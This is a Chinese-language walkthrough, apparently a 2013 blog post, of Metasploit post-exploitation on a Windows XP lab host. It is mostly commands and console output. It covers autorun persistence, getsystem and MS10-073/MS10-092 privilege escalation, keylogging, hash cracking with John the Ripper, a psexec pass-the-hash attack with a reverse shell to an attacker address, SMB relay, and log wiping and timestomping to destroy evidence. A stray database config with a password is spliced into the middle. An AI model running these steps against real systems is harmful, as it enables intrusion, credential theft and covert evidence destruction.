Persistent agent script is 609628 bytes long
[+] Persistent Script written to C:\WINDOWS\TEMP\lOFkqsGGtNr.vbs
Executing script C:\WINDOWS\TEMP\lOFkqsGGtNr.vbs
[+] Agent executed with PID 1888
Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\tTCmdZkXLp
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\tTCmdZkXLp
然后它就在目标机的C:/windows/Temp/下建立一个vbs文件,开机会启动这个文件
上面的vbs的确存在,并且开机启动也有,但是就是有:
Attempt to elevate your privilege to that of local system.
OPTIONS:
-h Help Banner.
-t <opt> The technique to use. (Default to '0').
0 : All techniques available
1 : Service - Named Pipe Impersonation (In Memory/Admin)
2 : Service - Named Pipe Impersonation (Dropper/Admin)
3 : Service - Token Duplication (In Memory/Admin)
4 : Exploit - KiTrap0D (In Memory/User)
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
system 就是最高权限了。。
2) MS10-073 键盘布局文件提权漏洞
meterpreter > background
Backgrounding session 5...
msf > set session 5
session => 5
msf > use post/windows/escalate/ms10_073_kbdlayout
msf post(ms10_073_kbdlayout) > exploit
Attempting to elevate PID 0x278
{"GetLastError"=>0, "return"=>1548}
Wrote malicious keyboard layout to C:\WINDOWS\TEMP\p0wns.boom ..
Allocated 0x8000 bytes of memory @ 0x60630000
Initialized RWX buffer ...
Current Keyboard Layout: 0x8040804
Patched in syscall wrapper @ 0x60631000
Successfully executed syscall wrapper!
Attempting to cause the ring0 payload to execute...
SendInput: {"GetLastError"=>5, "return"=>1}
Post module execution completed
msf post(ms10_073_kbdlayout) >
3) MS10-092 Windows 任务计划服务提权漏洞
msf post(ms10_073_kbdlayout) > back
msf > set session 5
session => 5
msf > use post/windows/escalate/ms10_092_schelevator
msf post(ms10_092_schelevator) > exploit
[-] Windows XP (Build 2600, Service Pack 1). is not vulnerable.
Post module execution completed
msf post(ms10_092_schelevator) >
哎,我就可耻得只能对XP SP1下手。。这点出息。。
6.窃取信息
1) dumplink 窃取近期系统操作,访问文件等记录
meterpreter > run post/windows/gather/dumplinks
Running module against EMASTER-8G5WOLV
Running as SYSTEM extracting user list...
Extracting lnk files for user Administrator at C:\Documents and Settings\Administrator\Recent\...
Processing: C:\Documents and Settings\Administrator\Recent\1.lnk.
Processing: C:\Documents and Settings\Administrator\Recent\KaEbvZfANVE.lnk.
Processing: C:\Documents and Settings\Administrator\Recent\lOFkqsGGtNr.lnk.
Processing: C:\Documents and Settings\Administrator\Recent\nimeia.lnk.
Processing: C:\Documents and Settings\Administrator\Recent\pvTdNq.lnk.
Processing: C:\Documents and Settings\Administrator\Recent\Temp.lnk.
No Recent Office files found for user Administrator. Nothing to do.
No Recent directory found for user LocalService. Nothing to do.
No Recent Office files found for user LocalService. Nothing to do.
No Recent directory found for user NetworkService. Nothing to do.
No Recent Office files found for user NetworkService. Nothing to do.
2) 键盘记录
大部分时候会成功,如果获取不到重连一下:
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
dir <Return> cd <Ctrl> <LCtrl> zhuomian1 <Back> <Back> <Back> <Back> 11 <Back> <Back> zhuo <Return> =-1 <Tab> <Return> <CapsLock> dir <Return> <Back> <Back> <Back> <Back> <Ctrl> <LCtrl> dir <CapsLock> <Back> <Back> r <Back> ir <Return>
meterpreter > keyscan_dump
Dumping captured keystrokes...
<Return> <Return> <N5> <N6> <N4> <N5> <N4> <N5> <N9> <N1> <N3> xugyabq <Back> <Back> ihuanqiiq <Return> http://blog.iyunv.com/xihuanqiqi <Ctrl> <LCtrl> s <Back> <Back> <Back> <Back> emaster <Left> -- <Back> <Back> _ <Ctrl> <LCtrl> s
meterpreter > keyscan_stop
Stopping the keystroke sniffer...
meterpreter >
3) enum_applications 补丁,更新,杀软等
meterpreterun > run post/windows/gather/enum_applications
Enumerating applications installed on EMASTER-8G5WOLV
Installed Applications
======================
Name Version
---- -------
Adobe Flash Player 11 ActiveX 11.9.900.152
VMware Tools 8.1.4.11056
WebFldrs XP 9.50.6513
Windows Installer 3.1 (KB893803) 3.1
#
# These settings are for the database used by the Metasploit Framework
# unstable tree included in this installer, not the commercial editions.
#
development:
adapter: "postgresql"
database: "msf3dev"
username: "msf3"
password: "4bfedfc2"
port: 7337
host: "localhost"
pool: 256
timeout: 5
Found 6 credentials.
msf auxiliary(jtr_crack_fast) >
用John The Ripper来破解:
这是一款开源的,集成多个解密算法的,针对Unix/Linux(当然也可以win)弱口令密码的破解,幸好msf集成这个大杀器。。
msf post(hashdump) > use auxiliary/analyze/jtr_crack_fast
msf auxiliary(jtr_crack_fast) > exploit
Seeded the password database with 6 words...
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
guesses: 1 time: 0:00:00:06 DONE (Sat Dec 7 14:36:28 2013) c/s: 5791K trying: WIT1900 - ZZZ1900
Warning: passwords printed above might be partial and not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
Output: Loaded 4 password hashes with no different salts (LM DES [128/128 BS SSE2])
Output: 123QWE (cred_1)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
Warning: mixed-case charset, but the current hash type is case-insensitive;
some candidate passwords may be unnecessarily tried more than once.
guesses: 1 time: 0:00:00:08 DONE (Sat Dec 7 14:36:37 2013) c/s: 18967K trying: ||V} - |||}
Warning: passwords printed above might be partial and not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
Output: Loaded 4 password hashes with no different salts (LM DES [128/128 BS SSE2])
Output: Remaining 3 password hashes with no different salts
Output: (cred_2)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
guesses: 0 time: 0:00:00:00 DONE (Sat Dec 7 14:36:37 2013) c/s: 1234K trying: 89093 - 89092
Output: Loaded 4 password hashes with no different salts (LM DES [128/128 BS SSE2])
Output: Remaining 2 password hashes with no different salts
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
guesses: 1 time: 0:00:00:20 DONE (Sat Dec 7 14:36:58 2013) c/s: 10089K trying: zydeco1900 - 123qwe1900
Use the "--show" option to display all of the cracked passwords reliably
Output: Loaded 4 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])
Output: 123qwe (cred_1)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
guesses: 1 time: 0:00:00:09 DONE (Sat Dec 7 14:37:07 2013) c/s: 17311K trying: |||}
Use the "--show" option to display all of the cracked passwords reliably
Output: Loaded 4 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])
Output: Remaining 3 password hashes with no different salts
Output: (cred_2)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
guesses: 0 time: 0:00:00:00 DONE (Sat Dec 7 14:37:08 2013) c/s: 1388K trying: 89030 - 89092
Output: Loaded 4 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])
Output: Remaining 2 password hashes with no different salts
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
msf auxiliary(jtr_crack_fast) > set RHOSTS 192.168.0.0/24
RHOST => 192.168.0.0/24
msf auxiliary(jtr_crack_fast) > set PORTS 445
PORTS => 445
msf auxiliary(jtr_crack_fast) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > run
莫名的扫不出结果,run后一直静止。。
3) psexec攻击445端口-SMB-HASH传递
msf exploit(psexec) > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.0.108
LHOST => 192.168.0.108
msf exploit(psexec) > set LPORT 443
LPORT => 443
msf exploit(psexec) > set RHOST 192.168.0.111
RHOST => 192.168.0.111
msf exploit(psexec) > set SMBPass daa141f3639de015aad3b435b51404ee:ad70819c5bc807280974d80f45982011
SMBPass => daa141f3639de015aad3b435b51404ee:ad70819c5bc807280974d80f45982011
msf exploit(psexec) > exploit
Started reverse handler on 192.168.0.108:443
Connecting to the server...
Authenticating to 192.168.0.111:445|WORKGROUP as user ''...
[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)
msf exploit(psexec) >
msf post(droplnk) > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show options
Module options (exploit/windows/smb/smb_relay):
Name Current Setting Required Description
---- --------------- -------- -----------
SMBHOST no The target SMB server (leave empty for originating system)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 445 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
msf exploit(psexec) > use post/windows/escalate/droplnk
msf post(droplnk) > show options
Module options (post/windows/escalate/droplnk):
Name Current Setting Required Description
---- --------------- -------- -----------
ICONFILENAME icon.png yes File name on LHOST's share
LHOST yes Host listening for incoming SMB/WebDAV traffic
LNKFILENAME Words.lnk yes Shortcut's filename
SESSION yes The session to run this module on.
SHARENAME share1 yes Share name on LHOST
NT LAN Manager早期SMB协议在网络上传输明文口令。后来出现 LAN Manager Challenge/Response 验证机制,简称LM,它是如此简单以至很容易就被破解。微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。
MS08-068是SMB在处理NTLM的一个漏洞。当目标机访问攻击者的恶意SMB服务器时,攻击者延时发送SMB响应,提取目标机上的NTLM的HASH对目标机进行回重放,达到身份认证的目的。。
9.毁灭证据
1) clearev
meterpreter > clearev
Wiping 148 records from Application...
Wiping 335 records from System...
Wiping 0 records from Security...
meterpreter >
2) timestomp
meterpreter > ls
Listing: c:\
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 0 fil 2013-12-07 16:44:55 +0800 1.txt.txt
100666/rw-rw-rw- 68 fil 2013-12-07 12:28:07 +0800 nimeia.txt
meterpreter > timestomp 1.txt.txt -f nimeia.txt
Setting MACE attributes on 1.txt.txt from nimeia.txt
meterpreter > ls
Listing: c:\
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 0 fil 2013-12-07 12:28:07 +0800 1.txt.txt
100666/rw-rw-rw- 68 fil 2013-12-07 12:28:07 +0800 nimeia.txt